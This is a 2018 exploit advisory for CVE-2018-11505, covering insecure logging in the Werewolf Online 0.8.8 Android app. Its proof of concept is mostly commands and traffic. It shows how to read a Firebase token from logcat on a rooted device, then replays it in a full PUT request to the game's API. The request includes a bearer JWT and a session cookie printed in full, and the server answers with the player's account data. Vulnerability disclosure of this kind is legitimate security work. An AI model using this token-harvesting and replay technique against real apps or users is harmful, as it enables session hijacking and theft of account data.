CVE-2018-11505

# Exploit Title: Werewolf Online 0.8.8  - Insecure Logging
# Date: 2018-05-24
# Software Link: https://play.google.com/store/apps/details?id=com.werewolfapps.online
# Download Link: https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details
# Exploit Author: ManhNho
# Version: 0.8.8 Android App
# CVE: CVE-2018-11505
# Category: Mobile Apps
# Tested on: Android 4.4

---Description---

Many developers log information to the android log. Sometimes sensitive data as well.
With output of logcat, Hacker can get "Firebase token" which used in PUT request to /players/meAndCheckAppVersion

---PoC---

root@vbox86p:/ # ps | grep 'were'
u0_a72    9161  205   810364 172268 ffffffff b765ea23 S com.werewolfapps.online
root@vbox86p:/ # logcat | grep -i '9161'
I/ActivityManager(  586): Start proc com.werewolfapps.online for activity com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072, 3003, 1028, 1015}
I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support
I/MultiDex( 9161): Installing application
...
D/RNFirebaseMessaging( 9161): Firebase token: dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8
D/RNFirebaseAuth( 9161): getToken/getIdToken
D/RNFirebaseAuth( 9161): getToken:onComplete:success
...

Request:

PUT /players/meAndCheckAppVersion HTTP/1.1
authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw
Content-Type: application/json; charset=utf-8
Content-Length: 207
Host: api-core.werewolf-apps.com
Connection: close
Accept-Encoding: gzip, deflate
Cookie: AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3
User-Agent: okhttp/3.6.0

{"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 24 May 2018 04:25:31 GMT
Server: nginx/1.12.1
Content-Length: 1303
Connection: Close

{"player":{"username":"wereboy","id":"5382e87c-db2c-4c9e-8a30-9b206d48ecb0","rank":1,"level":1,"xpTotal":45,"xpUntilNextLevel":155,"playerStats":{"finishedGamesCount":3,"totalPlayTimeInMinutes":13,"exitGameBySuicideCount":0,"exitGameAfterDeathCount":0,"gamesSurvivedCount":1,"gamesKilledCount":2,"lastGameEndTime":"2018-05-23T08:49:40.979Z","seerLooseCount":0,"roleStats":{"sorcerer":{"winCount":0,"loseCount":0},"werewolf":{"winCount":0,"loseCount":0},"bodyguard":{"winCount":0,"loseCount":0},"villager":{"winCount":0,"loseCount":0},"priest":{"winCount":0,"loseCount":0},"seer":{"winCount":0,"loseCount":0},"medium":{"winCount":0,"loseCount":0},"jailer":{"winCount":0,"loseCount":1},"doctor":{"winCount":0,"loseCount":0},"headhunter":{"winCount":0,"loseCount":0},"wolf-shaman":{"winCount":0,"loseCount":0},"fool":{"winCount":0,"loseCount":0},"aura-seer":{"winCount":0,"loseCount":0},"serial-killer":{"winCount":0,"loseCount":0},"gunner":{"winCount":0,"loseCount":0},"alpha-werewolf":{"winCount":0,"loseCount":2}}},"bannedCount":0,"watchedVideoAdsCount":0,"gender":"MALE","lastOnline":"2018-05-23T04:20:29.571Z","xpInLevel":200},"isUpdateRequired":false,"latestAppVersion":{"id":"76f6895e-3140-4265-95da-97f1ab59b554","platform":"ANDROID","versionString":"0.8.8","versionNumber":47,"isMandatory":false}}